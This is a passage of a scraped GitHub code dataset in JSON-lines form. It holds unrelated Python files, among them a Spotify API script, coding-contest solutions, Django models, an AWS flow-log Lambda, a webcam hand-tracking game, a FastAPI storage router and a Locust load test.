app.run()","repo_name":"MESSDEV/QuizPy","sub_path":"QuizProject/quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33415429119","text":"import sys\nimport spotipy\nimport spotipy.util as util\n\n''' shows the albums and tracks for a given artist.\n'''\n\ndef get_artist(name):\n    results = sp.search(q='artist:' + name, type='artist')\n    items = results['artists']['items']\n    if len(items) > 0:\n        return items[0]\n    else:\n        return None\n\ndef show_artist_albums(artist):\n    albums = []\n    results = sp.artist_albums(artist['id'], album_type='album')\n    albums.extend(results['items'])\n    while results['next']:\n        results = sp.next(results)\n        albums.extend(results['items'])\n    seen = set() # to avoid dups\n    albums.sort(key=lambda album:album['name'].lower())\n    for album in albums:\n        name = album['name']\n        if name not in seen:\n            print((' ' + name))\n            seen.add(name)\n\nif __name__ == '__main__':\n    username = '123'\n    scope = 'user-library-read'\n    token = util.prompt_for_user_token(username, scope)\n    sp = spotipy.Spotify(auth=token)\n\n    name = ' '.join(sys.argv[1:])\n    artist = get_artist('GARNiDELiA')\n    if artist:\n        show_artist_albums(artist)\n    else:\n        print(\"Can't find that artist\")\n","repo_name":"iridiumtao/ACMS","sub_path":"Spotipy.py","file_name":"Spotipy.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"1222609330","text":"import sys\r\nfrom collections import Counter\r\n\r\nimport numpy as np\r\n\r\nn, *a = map(int, sys.stdin.read().split())\r\n\r\n\r\ndef main():\r\n    c = np.bincount(a)\r\n    res = np.maximum(c - 1, 0)\r\n    ans = np.sum(res)\r\n    return ans\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    ans = main()\r\n    print(ans)\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc022/abc022_b/8894224.py","file_name":"8894224.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"72359213312","text":"from nose.tools import *\nimport apw\nimport mock\n\nclass TestSession(unittest.TestCase):\n    def test_ctor(self):\n        session = apw.Session()\n        self.assertIsNotNone(session.projectFactory)\n\n    def test_createProject(self):\n        projectFactory = astro.ProjectFactory()\n        projectFactory.createProject = mock.MagicMock(return_value=astro.Project())\n        session = astro.Session(projectFactory)\n        session.createProject('testname')\n        projectFactory.createProject.assert_called_with('testname')\n\n","repo_name":"Hofmaier/wintermute","sub_path":"sandbox/apw_tests.py","file_name":"apw_tests.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18660693038","text":"file = open(\"g.in.txt\", \"r\")\n\nnulllines = 0\n\narr = [[]]\n\nrow = 0\ncol = 0\n\n# read file\nfor line in file:\n    if nulllines > 0: # reading matrix\n        nulllines -= 1\n        for letter in line:\n            if letter == \"\\n\" or letter == \" \":\n                continue\n            else:\n                arr[row][col] = int(letter)\n        continue\n    else:   # reading matrix info\n        list = line.split()\n        \n        m = int(line[0])\n        n = int(line[1])\n\n        nulllines = m\n\n    \n","repo_name":"fed993/CS300","sub_path":"competition/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"86669433190","text":"import boto3\nimport os\nimport json\nfrom datetime import datetime\nfrom botocore.exceptions import ClientError\n\nclient = boto3.client('ec2')\nec2 = boto3.resource('ec2')\nflow_logs_group = os.environ['FLOW_LOGS_GROUP']\niam_role_arn = os.environ['IAM_ROLE_ARN']\n\n\ndef lambda_handler(event, context):\n    try:\n        # Print some stuff to check we got the event correctly\n        vpc_id = event\n        print(\"New VPC Id: {0}\".format(vpc_id))\n\n        vpc = ec2.Vpc(vpc_id)\n        print(\"VPC Cidr block: {0}\".format(vpc.cidr_block))\n\n        # # Create a log group\n\n        # try:\n        #     response = logs.create_log_group(\n        #         logGroupName=flow_logs_group\n        #     )\n        # except ClientError:\n        #     print(f\"Log group '{flow_logs_group}' already exists.\")\n\n        # Enable VPC flow logs for the VPC\n        response_describe = client.describe_flow_logs(\n            DryRun=False,\n            Filters=[\n                {\n                    'Name': 'resource-id',\n                    'Values': [\n                        vpc_id,\n                    ]\n                },\n            ],\n        )\n\n        if len(response_describe['FlowLogs']) > 0:\n            print(\"Flow logs already enabled\")\n        else:\n            client.create_flow_logs(\n                DryRun=False,\n                DeliverLogsPermissionArn=iam_role_arn,\n                LogGroupName=flow_logs_group,\n                ResourceIds=[\n                    vpc_id,\n                ],\n                ResourceType='VPC',\n                TrafficType='ALL',\n            )\n            print(\"Flow logs created\")\n\n    except Exception as e:\n        print('Error - reason \"%s\"' % str(e))\n","repo_name":"rb-org/tfm-aws-lambda","sub_path":"files/vpc-flow-logs.py","file_name":"vpc-flow-logs.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7531713810","text":"import sys\nimport urllib\nimport json\nimport time\n\nPORTA_HTTPS = \"443\"\nPORTA_HTTP = \"80\"\nurl = sys.argv[-1]\ncountHttps = 0\ncountHttp = 0\ncountHttp2 = 0\ncountHttp2Settings = 0\ndata = None\nelencoHttp = set()\nelencoHttp2 = set()\ni = 0\n\n\n# prendo il tempo di inizio script\navvio = time.perf_counter()\n\n# metodo utile per leggerere il json che ha chiavi uguali \ndef dict_raise_on_duplicates(ordered_pairs):\n    \"\"\"Convert duplicate keys to JSON array.\"\"\"\n    d = {}\n    for k, v in ordered_pairs:\n        if k in d:\n            if type(d[k]) is list:\n                d[k].append(v)\n            else:\n                d[k] = [d[k], v]\n        else:\n            d[k] = v\n    return d\n\n\nwith open(url, encoding='utf-8') as file:\n    f = file.read()\n    data = json.loads(f, object_pairs_hook=dict_raise_on_duplicates)\n\n    for d in data:\n        tcpDstport = d['_source']['layers']['tcp']['tcp.dstport']\n        contenutoLayers = d['_source']['layers']\n\n        # controllo i siti http e https\n        if tcpDstport == PORTA_HTTPS:\n            countHttps += 1\n        elif tcpDstport == PORTA_HTTP:\n            countHttp += 1\n        else:\n            print(tcpDstport + \"\")\n\n        # prelevo tutti i siti visitati\n        if ('http2' in contenutoLayers):\n            countHttp2 += 1\n            if 'http2.stream' in contenutoLayers['http2']:\n                if 'http2.header' in contenutoLayers['http2']['http2.stream']:\n                    for elem in contenutoLayers['http2']['http2.stream']['http2.header']:\n                        if elem['http2.header.name'] == \"referer\":\n                            urlRichiesta2 = \"\"\n                            http2HeaderValue = elem['http2.header.value']\n                            if (str(http2HeaderValue).startswith('https://')):\n                                urlRichiesta2 = str(http2HeaderValue).split(\n                                    'https://')[1].split('/')[0]\n                            elif (str(http2HeaderValue).startswith('http://')):\n                                urlRichiesta2 = str(http2HeaderValue).split(\n                                    'http://')[1].split('/')[0]\n                            else:\n                                urlRichiesta2 = str(http2HeaderValue)\n                            if urlRichiesta2.strip() != \"\":\n                                if not urlRichiesta2.startswith('www.'):\n                                    urlRichiesta2 = \"www.\"+urlRichiesta2\n                                elencoHttp2.add(urlRichiesta2)\n\n        elif ('http' in contenutoLayers):\n            # cerco  \"http.host\":\n            urlRichiesta = \"\"\n            httpHost = contenutoLayers['http']['http.host']\n            if (httpHost.startswith('https://')):\n                urlRichiesta = httpHost.split(\n                    'https://')[1].split('/')[0]\n            elif (httpHost.startswith('http://')):\n                urlRichiesta = httpHost.split(\n                    'http://')[1].split('/')[0]\n            else:\n                urlRichiesta = httpHost\n            if urlRichiesta.strip() != \"\":\n                if not urlRichiesta.startswith('www.'):\n                    urlRichiesta = \"www.\"+urlRichiesta\n                elencoHttp.add(urlRichiesta)\n\n\n# primi 50 siti più visitati al mondo\nelencoSitiIniziali = set()\n# elenco completo siti chiamati\nsitiVisitati = elencoHttp.union(elencoHttp2)\n\n# leggo i 50 siti chiamati da selenium e li memorizzo in un insieme\nwith open('Top 50 Alexa sites/top-1m.csv') as f:\n    for line in f.read().splitlines():\n        elencoSitiIniziali.add(line)\n\n# salvo i siti chiamati da script\n# i = 1\n# with open(\"result/\"+url.split('.')[0].split('/')[1]+\"_elencoSitiChiamati.txt\", \"w+\") as out:\n#     for item in elencoSitiIniziali:\n#         out.write(str(i)+\") \"+str(item)+\"\\n\")\n#         i += 1\n\n# salvo in un insieme i siti di terze parti\ni = 1\nwith open(\"result/\"+url.split('.')[0].split('/')[1]+\"_elencoSitiTerziChiamati.txt\", \"w+\") as out:\n    for item in sitiVisitati.difference(elencoSitiIniziali):\n        out.write(str(i)+\") \"+str(item)+\"\\n\")\n        i += 1\n\n# prendo il tempo di fine script\nfine = time.perf_counter()\n\nwith open(\"result/\"+url.split('.')[0].split('/')[1]+\"_esito.txt\", \"w+\") as f:\n    f.write(\"I pacchetti in totale sono \" + str(len(data)) + \"\\n\")\n    f.write(\"I pacchetti https sono \" + str(countHttps) + \"\\n\")\n    f.write(\"I pacchetti http2 sono \" + str(countHttp2) + \"\\n\")\n    f.write(\"I pacchetti http che non usano ssl sono \" +\n            str(countHttp) + \" (\" + (str(len(data)-countHttps)) + \")\\n\")\n    f.write(\"I siti di interesse visitati sono \" +\n            str(len(elencoSitiIniziali)) + \"\\n\")\n    f.write(\"I siti di terze parti visitati sono \" +\n            str(len(sitiVisitati.difference(elencoSitiIniziali))) + \"\\n\")\n    f.write(\"Lo script ha impiegato \" +\n            str(fine-avvio) + \" secondi per essere eseguito\\n\")\n","repo_name":"LorenzoFasolino/AutoRequester","sub_path":"jsonAnalysis.py","file_name":"jsonAnalysis.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38286064002","text":"from django.contrib.auth.models import AbstractUser\r\nfrom django.db import models\r\nfrom django.conf import settings\r\n\r\nfrom django.urls import reverse_lazy\r\n\r\n\r\nclass Profile(models.Model):\r\n    user = models.OneToOneField(settings.AUTH_USER_MODEL,\r\n                                on_delete=models.CASCADE)\r\n    date_of_birth = models.DateField(blank=True, null=True)\r\n    photo = models.ImageField(upload_to='users/%Y/%m/%d/',\r\n                              blank=True)\r\n\r\n    def __str__(self):\r\n        return 'Profile for user {}'.format(self.user.username)\r\n\r\n\r\nclass Contact(models.Model):\r\n    user_from = models.ForeignKey(settings.AUTH_USER_MODEL,\r\n                                  related_name='rel_from_set',\r\n                                  on_delete=models.CASCADE)\r\n    user_to = models.ForeignKey(settings.AUTH_USER_MODEL,\r\n                                related_name='rel_to_set',\r\n                                on_delete=models.CASCADE)\r\n    created = models.DateTimeField(auto_now_add=True,\r\n                                   db_index=True)\r\n\r\n    class Meta:\r\n        ordering = ('-created',)\r\n\r\n    def __str__(self):\r\n        return '{} follows {}'.format(self.user_from,\r\n                                      self.user_to)\r\n\r\n\r\n# Create your models here.\r\nclass CustomUser(AbstractUser):\r\n    age = models.PositiveIntegerField(null=True, blank=True)\r\n    following = models.ManyToManyField('self',\r\n                                       through=Contact,\r\n                                       related_name='followers',\r\n                                       symmetrical=False)\r\n\r\n    def get_absolute_url(self):\r\n        return reverse_lazy('user_detail', args=[self.username])\r\n\r\n","repo_name":"jonndoe/moreblog_project","sub_path":"app_users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11516305808","text":"# -- coding: utf-8 --\n# Revisit Breadth First Search Algorithm via Jump Game\n# 通过跳步游戏复习 bfs算法\n# 比如给定一列数 [2,0,3,1,3,4] 起点索引是3那就是在1的位置上 表示我们可以向左或者向右走1步 \n# 之后如果我们选择向右那么 就站在了索引是4的位置上也就是 3 表示我们此时可以向左或者向右走3步 我们的目标数走到0那里\n# 问我们是否可以根据给定的数和起点走到目标位置0\n# ps 超过数列边界的可以抛弃\n\ndef bfs(nums, s):\n    if len(nums) == 0:\n        return False\n    seen = set()\n    q = [s]\n    while len(q) > 0:\n        index = q.pop(0)\n        # base case也就是终止条件\n        if nums[index] == 0:\n            return True\n        for i in [-1, 1]: #因为可以选择左或者右\n            next = index + i * nums[index]\n            if next not in seen and next >= 0 and next < len(nums):\n                q.append(next)\n                seen.add(next)\n    return False\n\n\nprint(bfs([2,0,3,1,3,4], 3))\n\nprint(bfs([1,0,1,5,8,9], 5))\n\nprint(bfs([4,2,3,0,3,1,2], 1))","repo_name":"Ander456/py_program","sub_path":"day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13583140498","text":"from math import prod\r\n\r\ndata = input()\r\ndata = data.split(\"\\n\")\r\n\r\ndepart = int(data[0])\r\nbus = [ (int(x), i) for i, x in enumerate(data[1].split(\",\")) if x != \"x\" ]\r\n\r\nbus = sorted(bus, reverse=True)\r\nincrement, t = 1, 0\r\n\r\nfor b, offset in bus:\r\n    while True:\r\n        if (t + offset) % b == 0:\r\n            increment *= b\r\n            break\r\n        else:\r\n            t += increment\r\n            \r\nprint(\"Part 1: %d\" % prod(min([ (b - depart % b, b) for b, offset in bus ])))\r\nprint(\"Part 2: %d\" % t)","repo_name":"JavierGalvez/adventofcode","sub_path":"2020/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"25118360749","text":"from watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\nimport os\n\n\nmonitoring_directory = os.getcwd() + '/monitoring-folder/'\n\n\ndef run():\n    w = Watcher()\n    w.run()\n\n\nclass Watcher:\n    directory_to_monitoring = monitoring_directory\n\n\n    def __init__(self):\n        self.observer = Observer()\n\n\n    def run(self):\n        event_handler = Handler()\n        self.observer.schedule(event_handler, self.directory_to_monitoring, recursive=True)\n        self.observer.start()\n        self.observer.join()\n\n\nclass Handler(FileSystemEventHandler):\n    @staticmethod\n    def on_any_event(event):\n        if event.is_directory:\n            return None\n        elif event.event_type == 'created':\n            print(\"Created event - %s.\" % event.src_path)\n        elif event.event_type == 'modified':\n            print(\"Modified event - %s.\" % event.src_path)\n        elif event.event_type == 'deleted':\n            print(\"Deleted event - %s.\" % event.src_path)\n\n\nif __name__ == '__main__':\n    run()\n","repo_name":"Leonardo18/directory-monitoring-watchdog","sub_path":"watchdog_event_handlers.py","file_name":"watchdog_event_handlers.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"42602908759","text":"import cv2\nimport mediapipe as mp\nimport numpy as np\nimport time\nimport random\nimport math\n\nHAND_RADIUS = 30\nGOAL_RADIUS = 50\nGOAL_INSET = 10\nDIFF_INC = 5\n\nobjects = []\n\nspeed = 5\n\ncap = cv2.VideoCapture(0)\n\nmpHands = mp.solutions.hands\nhands = mpHands.Hands()\n\npTimeSpawn = time.time()\npTimeDiff = time.time()\npTimeCount = time.time()\n\ngoals = 0\nspawnInterval = 2 # seconds\ntimeRemaining = 60 # seconds\n\nwhile True:\n    # get image\n    success, img = cap.read()\n    img = cv2.flip(img, 1)\n    imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    \n    # image shape\n    h, w, c = img.shape\n\n    bkgrd = np.zeros(img.shape)\n\n    # goals\n    g1 = (GOAL_INSET,int(h/2))\n    cv2.circle(bkgrd, g1, GOAL_RADIUS, (255, 0, 0), cv2.FILLED, 2)\n    g2 = (w - GOAL_INSET,int(h/2))\n    cv2.circle(bkgrd, g2, GOAL_RADIUS, (255, 0, 0), cv2.FILLED, 2)\n\n    # get hand locations\n    handLocs = []\n    results = hands.process(imgRGB)\n    if results.multi_hand_landmarks:\n        if(len(results.multi_hand_landmarks) == 2): # ensures there are two hands\n            for handLms in results.multi_hand_landmarks:\n                p1 = (int(handLms.landmark[0].x * w), int(handLms.landmark[0].y * h))\n                p2 = (int(handLms.landmark[5].x * w), int(handLms.landmark[5].y * h))\n                p3 = (int(handLms.landmark[17].x * w), int(handLms.landmark[17].y * h))\n                \n                cent = (int((p1[0] + p2[0] + p3[0])/3), int((p1[1] + p2[1] + p3[1])/3))\n                handLocs.append(cent)\n                cv2.circle(bkgrd, cent, HAND_RADIUS, (0, 255, 0), cv2.FILLED, 2)\n\n    # handle individual object actions\n    for obj in objects:\n        obj[0] = (int(obj[0][0] + obj[1][0]*speed), int(obj[0][1] + obj[1][1]*speed))\n\n        if(obj[0][0] > w or obj[0][0] < 0 or obj[0][1] > h or obj[0][1] < 0):\n            objects.remove(obj)\n            continue\n    \n        if(math.hypot(g1[0] - obj[0][0], g1[1] - obj[0][1]) < GOAL_RADIUS\n           or math.hypot(g2[0] - obj[0][0], g2[1] - obj[0][1]) < GOAL_RADIUS):\n            objects.remove(obj)\n            goals += 1\n            continue\n\n        cv2.circle(bkgrd, obj[0], 5, (0,0,255), cv2.FILLED, 2)\n\n        if len(handLocs) == 2:\n            if(math.hypot(handLocs[0][0] - obj[0][0], handLocs[0][1] - obj[0][1]) < HAND_RADIUS and obj[2]):\n                obj[0] = (obj[0][0] - handLocs[0][0] + handLocs[1][0], obj[0][1] - handLocs[0][1] + handLocs[1][1])\n                obj[2] = 0\n            elif(math.hypot(handLocs[1][0] - obj[0][0], handLocs[1][1] - obj[0][1]) < HAND_RADIUS and obj[2]):\n                obj[0] = (obj[0][0] - handLocs[1][0] + handLocs[0][0], obj[0][1] - handLocs[1][1] + handLocs[0][1])\n                obj[2] = 0\n            elif(not obj[2]\n                and math.hypot(handLocs[0][0] - obj[0][0], handLocs[0][1] - obj[0][1]) > 2*HAND_RADIUS \n                and math.hypot(handLocs[1][0] - obj[0][0], handLocs[1][1] - obj[0][1]) > 2*HAND_RADIUS):\n                obj[2] = 1\n        else:\n            obj[2] = 0\n\n    # create new objects\n    cTime = time.time()\n\n    if(cTime - pTimeSpawn > spawnInterval):\n        pTimeSpawn = cTime\n\n        yVel = random.uniform(-1,1) * h / math.hypot(w,h)\n        \n        xVel = math.sqrt(1 - yVel*yVel)\n        sign = random.random() - 0.5\n        if(sign > 0):\n            xVel = xVel\n        else:\n            xVel = -xVel\n\n        if(xVel < 0):\n            xPos = w\n        else:\n            xPos = 0\n\n        if(yVel < 0):\n            yPos = h\n        else:\n            yPos = 0\n        \n        # sturcture of object is [position pair, velocity pair]\n        objects.append([(xPos, yPos), (xVel, yVel), 1])\n\n    if(cTime - pTimeDiff > DIFF_INC):\n        speed += 1\n        spawnInterval -= 0.1\n        pTimeDiff = cTime\n    \n    if(cTime - pTimeCount > 1):\n        timeRemaining -= 1\n        pTimeCount = cTime\n    \n\n    cv2.putText(bkgrd, str(goals), (30,50), cv2.FONT_HERSHEY_COMPLEX, 1, (255,0,0), 2)\n    cv2.putText(bkgrd, str(timeRemaining), (w - 50,50), cv2.FONT_HERSHEY_COMPLEX, 1, (0,255,0), 2)\n\n    cv2.imshow(\"Image\", bkgrd)\n    k = cv2.waitKey(1) & 0xFF\n    if k == 27 or (timeRemaining <= 0):    # Use Esc key to exit the program\n        break\n\nsuccess, img = cap.read()\nh, w, c = img.shape\nbkgrd = np.zeros(img.shape)\n\ncv2.putText(bkgrd, \"GAME OVER\", (int(w/2) - 100,int(h/2) - 50), cv2.FONT_HERSHEY_COMPLEX, 1, (0,0,255), 2)\ncv2.putText(bkgrd, str(goals), (int(w/2) - 40,int(h/2) + 10), cv2.FONT_HERSHEY_COMPLEX, 2, (255,0,0), 2)\ncv2.putText(bkgrd, \"Press ESC to Exit\", (int(w/2) - 150,int(h/2) + 50), cv2.FONT_HERSHEY_COMPLEX, 1, (0,0,255), 2)\ncv2.imshow(\"Image\", bkgrd)\n\nwhile(cv2.waitKey(1) & 0xFF != 27):\n    pass\n\ncv2.destroyAllWindows()\n","repo_name":"MitchBrenner/Spring2022-Hackathon","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38102003448","text":"import datetime\n\n\nclass Person3:\n    def __init__(self, name, surname, birthdate, address, phone, email):  # params passed to __init__ method\n        self.name = name  # attribute\n        self.surname = surname\n        self.birthdate = birthdate\n        self.address = address\n        self.phone = phone\n        self.email = email\n\n    # whenever we call a method on an object,\n    # the object itself is automatically passed in as the first parameter (self)\n    def get_age(self):  # instance method\n        today = datetime.date.today()\n        age = today.year - self.birthdate.year\n        if today < datetime.date(today.year, self.birthdate.month, self.birthdate.day):\n            age -= 1\n        return age\n\n\nperson = Person3(  # # person is an instance of Person3 class\n    'Jane',\n    'Doe',\n    datetime.date(1986, 3, 31),\n    'Minsk, Nezavisimosti pr-t, 165-2',\n    '333 45 87',\n    'jane.doe@mail.com'\n)\n\nprint(person.name)\nprint(person.email)\nprint(person.get_age())\n\nfor key in [\"a\", \"b\", \"c\"]:\n    print(mydict[key])","repo_name":"nbiadrytski-zz/python-training","sub_path":"dive_into_p3/classes/person3.py","file_name":"person3.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25891324177","text":"from typing import Union\n\nfrom fastapi import APIRouter, Form, UploadFile, Depends\nfrom starlette.responses import FileResponse\n\nfrom auth.authenticate import authenticate\nfrom config.db import get_session\nfrom model.result_message import ResultMessage\nfrom service.storage import storage_pool\n\nstorage_router = APIRouter(\n    tags=[\"Storage\"]\n)\n\n\n@storage_router.get(\"/list\")\ndef get_file_list(path: str, session=Depends(get_session), user_id=Depends(authenticate)):\n    with storage_pool.get() as storage:\n        return storage.get_file_list(path, session, user_id)\n\n\n@storage_router.get(\"/download\")\ndef download_file(path: str, session=Depends(get_session), user_id=Depends(authenticate)):\n    with storage_pool.get() as storage:\n        local_file_path = storage.download_file(str, session, user_id)\n        file_name = local_file_path[path.rfind(\"/\") + 1:]\n        return FileResponse(local_file_path, media_type='application/octet-stream', filename=file_name)\n\n\n@storage_router.get(\"/upload\")\ndef upload_file(file: Union[UploadFile, None] = None, path: str = Form(), session=Depends(get_session), user_id=Depends(authenticate)):\n    if not file:\n        return ResultMessage.as_data(False, \"업로드하는 파일이 존재하지 않습니다.\")\n\n    try:\n        with storage_pool.get() as storage:\n            storage.upload_file(file, path, session, user_id)\n\n        return ResultMessage.as_default()\n    except (Exception,):\n        return ResultMessage.as_data(False, f\"파일({file.filename})을 업로드하는데 실패하였습니다.\")\n","repo_name":"siyang12knou/TFDB_Web","sub_path":"router/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6538339846","text":"import warnings\nfrom django.db import models\nfrom django import forms\nfrom django.conf import settings\nfrom .widgets import ImageCropWidget\n\n\nclass ImageCropField(models.ImageField):\n    def formfield(self, **kwargs):\n        kwargs['widget'] = ImageCropWidget\n        return super(ImageCropField, self).formfield(**kwargs)\n\n    def south_field_triple(self):\n        \"\"\"\n        Return a suitable description of this field for South.\n        \"\"\"\n        # We'll just introspect ourselves, since we inherit.\n        from south.modelsinspector import introspector\n\n        field_class = \"django.db.models.fields.files.ImageField\"\n        args, kwargs = introspector(self)\n        return field_class, args, kwargs\n\n\n#deprecated, as we now set the widget in the ModelAdmin\nclass CropForeignKey(models.ForeignKey):\n    \"\"\"\n    A croppable image field contained in another model. Only works in admin\n    for now, as it uses the raw_id widget.\n    \"\"\"\n\n    def __init__(self, model, field_name, *args, **kwargs):\n        self.field_name = field_name\n        warnings.warn('Please use the ImageCroppingMixin in your ModelAdmin '\n                      'instead of a CropForeignKey!', DeprecationWarning)\n        super(CropForeignKey, self).__init__(model, *args, **kwargs)\n\n    def south_field_triple(self):\n        \"\"\"\n        Return a suitable description of this field for South.\n        \"\"\"\n        # We'll just introspect ourselves, since we inherit.\n        from south.modelsinspector import introspector\n\n        field_class = \"django.db.models.fields.related.ForeignKey\"\n        args, kwargs = introspector(self)\n        return field_class, args, kwargs\n\n\nclass ImageRatioField(models.CharField):\n    def __init__(self, image_field, size, adapt_rotation=False,\n                 allow_fullsize=False, verbose_name=None,\n                 help_text=None, hide_image_field=False,\n                 size_warning=getattr(\n                     settings, 'SORL_CROPPING_SIZE_WARNING', False), max_length=255, blank=True):\n        if '__' in image_field:\n            self.image_field, self.image_fk_field = image_field.split('__')\n        else:\n            self.image_field, self.image_fk_field = image_field, None\n        self.size = size\n        self.width, self.height = size.split('x')\n        self.adapt_rotation = adapt_rotation\n        self.allow_fullsize = allow_fullsize\n        self.size_warning = size_warning\n        self.hide_image_field = hide_image_field\n        super(ImageRatioField, self).__init__(max_length=max_length, blank=blank, verbose_name=verbose_name,\n                                              help_text=help_text)\n\n    def contribute_to_class(self, cls, name):\n        super(ImageRatioField, self).contribute_to_class(cls, name)\n        # attach a list of fields that are referenced by the ImageRatioField\n        # so we can set the correct widget in the ModelAdmin\n        if not hasattr(cls, 'crop_fields'):\n            cls.add_to_class('crop_fields', {})\n        cls.crop_fields[self.image_field] = {\n            'fk_field': self.image_fk_field,\n            'hidden': self.hide_image_field,\n        }\n\n    def formfield(self, **kwargs):\n        kwargs['widget'] = forms.TextInput(attrs={\n            'data-width': int(self.width),\n            'data-height': int(self.height),\n            'data-image-field': self.image_field,\n            'data-my-name': self.name,\n            'data-adapt-rotation': str(self.adapt_rotation).lower(),\n            'data-allow-fullsize': str(self.allow_fullsize).lower(),\n            'data-size-warning': str(self.size_warning).lower(),\n            'class': 'image-ratio',\n        })\n        return super(ImageRatioField, self).formfield(**kwargs)\n\n    def south_field_triple(self):\n        \"\"\"\n        Return a suitable description of this field for South.\n        \"\"\"\n        # We'll just introspect ourselves, since we inherit.\n        from south.modelsinspector import introspector\n\n        field_class = \"django.db.models.fields.CharField\"\n        args, kwargs = introspector(self)\n        return field_class, args, kwargs\n\n    # support django >= 1.7\n    def deconstruct(self):\n        name, path, args, kwargs = super(ImageRatioField, self).deconstruct()\n        if self.image_field:\n            kwargs['image_field'] = self.image_field\n        if self.size:\n            kwargs['size'] = self.size\n        return name, path, args, kwargs\n\n","repo_name":"MyGodIsHe/django-sorl-cropping","sub_path":"sorl_cropping/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"}
+{"seq_id":"4869684267","text":"from locust import HttpLocust, TaskSet, TaskSequence, seq_task, task\nfrom locust.wait_time import between\nimport random\nimport json\nfrom gevent.pool import Group\n\nimport server.test.unit.decode_fbs as decode_fbs\nfrom config import DataSets\n\n\n\"\"\"\nSimple locust stress test defition for cellxgene\n\"\"\"\nAPI = \"/api/v0.2\"\n\n\nclass ViewDataset(TaskSet):\n    \"\"\"\n    Simulate use against a single dataset\n    \"\"\"\n\n    def on_start(self):\n        self.client.verify = False\n        self.dataset = random.choice(DataSets)\n\n        with self.client.get(f\"{self.dataset}{API}/config\", catch_response=True) as r:\n            if r.status_code == 200:\n                self.config = r.json()[\"config\"]\n                r.success()\n            else:\n                self.config = None\n                r.failure(f\"bad response code {r.status_code}\")\n\n        with self.client.get(f\"{self.dataset}{API}/schema\", catch_response=True) as r:\n            if r.status_code == 200:\n                self.schema = r.json()[\"schema\"]\n                r.success()\n            else:\n                self.schema = None\n                r.failure(f\"bad response code {r.status_code}\")\n\n        with self.client.get(\n            f\"{self.dataset}{API}/annotations/var?annotation-name={self.var_index_name()}\",\n            headers={\"Accept\": \"application/octet-stream\"},\n            catch_response=True,\n        ) as r:\n            if r.status_code == 200:\n                df = decode_fbs.decode_matrix_FBS(r.content)\n                gene_names_idx = df[\"col_idx\"].index(self.var_index_name())\n                self.gene_names = df[\"columns\"][gene_names_idx]\n            else:\n                self.gene_names = None\n                r.failure(f\"bad response code {r.status_code}\")\n\n    def var_index_name(self):\n        if self.schema is None:\n            return None\n        return self.schema[\"annotations\"][\"var\"][\"index\"]\n\n    def obs_annotation_names(self):\n        if self.schema is None:\n            return []\n        return [col[\"name\"] for col in self.schema[\"annotations\"][\"obs\"][\"columns\"]]\n\n    @task(2)\n    class InitializeClient(TaskSequence):\n        \"\"\"\n        Initial loading of cellxgene - when the user hits the main route.\n\n        Currently this sequence skips some of the static assets, which are quite\n        small and should be served by the HTTP server directly.\n\n        1. load index.html, etc.\n        2. concurrently load /config, /schema\n        3. concurrently load /layout/obs, /annotations/var?annotation-name=<the index>\n        -- does intitial render --\n        4. concurrently load all /annotations/obs\n        -- fully initialized --\n        \"\"\"\n\n        # users hit all of the init routes as fast as they can, subject to the ordering constraints\n        # and network latency\n        wait_time = between(0.01, 0.1)\n\n        def on_start(self):\n            self.dataset = self.parent.dataset\n            self.client.verify = False\n\n        @seq_task(1)\n        def index(self):\n            self.client.get(f\"{self.dataset}/\", stream=True).close()\n\n        @seq_task(2)\n        def loadConfigSchema(self):\n            def config():\n                self.client.get(f\"{self.dataset}{API}/config\", stream=True).close()\n\n            def schema():\n                self.client.get(f\"{self.dataset}{API}/schema\", stream=True).close()\n\n            group = Group()\n            group.spawn(config)\n            group.spawn(schema)\n            group.join()\n\n        @seq_task(3)\n        def loadBootstrapData(self):\n            def layout():\n                self.client.get(\n                    f\"{self.dataset}{API}/layout/obs\", headers={\"Accept\": \"application/octet-stream\"}, stream=True\n                ).close()\n\n            def varAnnotationIndex():\n                self.client.get(\n                    f\"{self.dataset}{API}/annotations/var?annotation-name={self.parent.var_index_name()}\",\n                    